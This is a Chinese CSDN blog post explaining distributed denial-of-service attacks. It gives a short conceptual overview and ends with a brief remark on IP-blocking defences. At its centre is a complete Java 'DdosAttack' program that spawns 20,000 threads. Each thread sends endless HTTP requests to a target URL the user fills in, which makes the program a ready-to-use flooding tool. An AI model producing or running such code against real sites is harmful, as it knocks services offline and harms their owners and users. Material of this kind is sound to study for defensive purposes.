DDOS攻击-分布式拒绝服务攻击

DDOS攻击原理(非常详细)从零基础入门到精通,看完这一篇就够了_ddos原理-CSDN博客

DDoS攻击(Distributed Denial of Service Attack,分布式拒绝服务攻击)的前身是DoS攻击(Denial of Service Attack,拒绝服务攻击),是指一种通过各种技术手段导致目标系统进入拒绝服务状态的攻击。

DDoS攻击可以看作DoS攻击的Plus版本,它可以将分布在不同地方的多台计算机联合起来形成攻击平台,对一个或多个目标发动攻击,从而产生成倍的拒绝服务攻击的威力。

攻击者发起攻击并向代理机发送控制指令,代理机就会向被攻击目标主机发送大量的服务请求数据包,这些数据包经过伪装,无法识别它的来源,而且这些数据包所请求的服务往往要消耗大量的系统资源,造成被攻击目标主机无法为用户提供正常服务,甚至导致系统崩溃。

消费目标系统的资源、通过各种手段让目标系统拒绝了正常的流量访问。

综上本质 DDOS攻击就是 控制了大量的机器同时向一个服务器发送请求,占用服务器的带宽,让正常的用户无法访问资源。


import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.concurrent.atomic.AtomicBoolean;

public class DdosAttack {

    public static void main(String[] args) throws Exception {
        for (int i = 0; i < 20000; i++) {
            DdosThread thread = new DdosThread();
            thread.start();
        }
    }
    public static class DdosThread extends Thread {

        private AtomicBoolean running = new AtomicBoolean(true);
        private final String request = ""; //对应网站的URL
        private final URL url;

        String param = null;

        public DdosThread() throws Exception {
            url = new URL(request);
            param = "param1=" + URLEncoder.encode("87845", "UTF-8");
        }

        @Override
        public void run() {
            while (running.get()) {
                try {
                    attack();
                } catch (Exception e) {

                }

            }
        }

        public void attack() throws Exception {
        //大量的线程和网站建立连接
            HttpURLConnection connection = (HttpURLConnection) url
                    .openConnection();
            connection.setDoOutput(true);
            connection.setDoInput(true);
            connection.setRequestMethod("GET");
            connection.setRequestProperty("charset", "utf-8");
            connection.setRequestProperty("Host", this.request);
            connection
                    .setRequestProperty("User-Agent",
                            "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
            connection.setRequestProperty("Content-Type",
                    "application/x-www-form-urlencoded");
            connection.setRequestProperty("Content-Length", param);
            System.out.println(this + "  " + connection.getResponseCode());
            connection.getInputStream();
        }
    }

}

现在基本的服务器厂商都会带有防止DDOS攻击的防护措施,如果你用本来机器一直去访问一个网站,那么就会封掉IP地址。

在软件开发的时候也可以对IP地址进行限制,如果同一个ip在短时间内大量的请求,可以将这个ip地址封掉

猜你喜欢

转载自blog.csdn.net/ngczx/article/details/142931868